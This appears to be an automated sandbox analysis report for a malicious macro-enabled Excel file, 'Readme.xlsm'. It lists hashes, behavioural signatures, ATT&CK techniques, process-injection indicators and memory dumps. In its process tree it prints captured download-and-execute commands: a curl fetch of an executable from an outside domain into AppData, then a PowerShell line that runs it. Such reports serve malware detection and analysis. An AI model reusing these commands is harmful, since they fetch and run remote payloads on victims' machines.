34f1a9c906fc08849f9c7d85edfa9915b46516a0708d2835f7a19ba9e5a1b386

General

Target

Readme.xlsm
Size

11KB
MD5

25f485e0ef7ee4ad57dcf6b31349acc7
SHA1

3a24b3e770b146665f218080808269267727cd43
SHA256

34f1a9c906fc08849f9c7d85edfa9915b46516a0708d2835f7a19ba9e5a1b386
SHA512

54f1c10527d0a81bed803aa3949cad4a124379087ac4dc02d029e0736f9540488408e8f44469fdf8d124e2bab2b9d08af1eefcb139101abb5aedf8066a4e91c7

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1588	1724	powershell.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1576	1724	cmd.exe	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1724 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1588 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1588 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1724 EXCEL.EXE
1724 EXCEL.EXE
1724 EXCEL.EXE

pid	process
1724	EXCEL.EXE

pid	process
1588	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1588	powershell.exe

pid	process
1724	EXCEL.EXE
1724	EXCEL.EXE
1724	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 1724 wrote to memory of 1588	1724	EXCEL.EXE	powershell.exe
PID 1724 wrote to memory of 1588	1724	EXCEL.EXE	powershell.exe
PID 1724 wrote to memory of 1588	1724	EXCEL.EXE	powershell.exe
PID 1724 wrote to memory of 1588	1724	EXCEL.EXE	powershell.exe
PID 1724 wrote to memory of 1576	1724	EXCEL.EXE	cmd.exe
PID 1724 wrote to memory of 1576	1724	EXCEL.EXE	cmd.exe
PID 1724 wrote to memory of 1576	1724	EXCEL.EXE	cmd.exe
PID 1724 wrote to memory of 1576	1724	EXCEL.EXE	cmd.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Readme.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1724

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\EbXZN.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1588

C:\Windows\SysWOW64\cmd.exe
cmd /c curl http://atozlovebook.com/vision.iosapp -o %appdata%\EbXZN.exe
2⤵
- Process spawned unexpected child process
PID:1576

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1576-64-0x0000000000000000-mapping.dmp

Download
memory/1588-70-0x0000000000CC0000-0x0000000000CC1000-memory.dmp

Filesize
4KB

Download
memory/1588-65-0x0000000075161000-0x0000000075163000-memory.dmp

Filesize
8KB

Download
memory/1588-71-0x0000000002710000-0x0000000002711000-memory.dmp

Filesize
4KB

Download
memory/1588-76-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1588-74-0x00000000056E0000-0x00000000056E1000-memory.dmp

Filesize
4KB

Download
memory/1588-66-0x0000000000430000-0x0000000000431000-memory.dmp

Filesize
4KB

Download
memory/1588-67-0x0000000004B80000-0x0000000004B81000-memory.dmp

Filesize
4KB

Download
memory/1588-69-0x0000000004B42000-0x0000000004B43000-memory.dmp

Filesize
4KB

Download
memory/1588-68-0x0000000004B40000-0x0000000004B41000-memory.dmp

Filesize
4KB

Download
memory/1588-105-0x0000000006470000-0x0000000006471000-memory.dmp

Filesize
4KB

Download
memory/1588-63-0x0000000000000000-mapping.dmp

Download
memory/1588-104-0x0000000006460000-0x0000000006461000-memory.dmp

Filesize
4KB

Download
memory/1588-90-0x00000000061B0000-0x00000000061B1000-memory.dmp

Filesize
4KB

Download
memory/1588-80-0x00000000057A0000-0x00000000057A1000-memory.dmp

Filesize
4KB

Download
memory/1588-81-0x00000000064F0000-0x00000000064F1000-memory.dmp

Filesize
4KB

Download
memory/1588-88-0x00000000062E0000-0x00000000062E1000-memory.dmp

Filesize
4KB

Download
memory/1588-89-0x0000000006580000-0x0000000006581000-memory.dmp

Filesize
4KB

Download
memory/1724-61-0x0000000070E21000-0x0000000070E23000-memory.dmp

Filesize
8KB

Download
memory/1724-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1724-60-0x000000002F4C1000-0x000000002F4C4000-memory.dmp

Filesize
12KB

Download
memory/1724-106-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads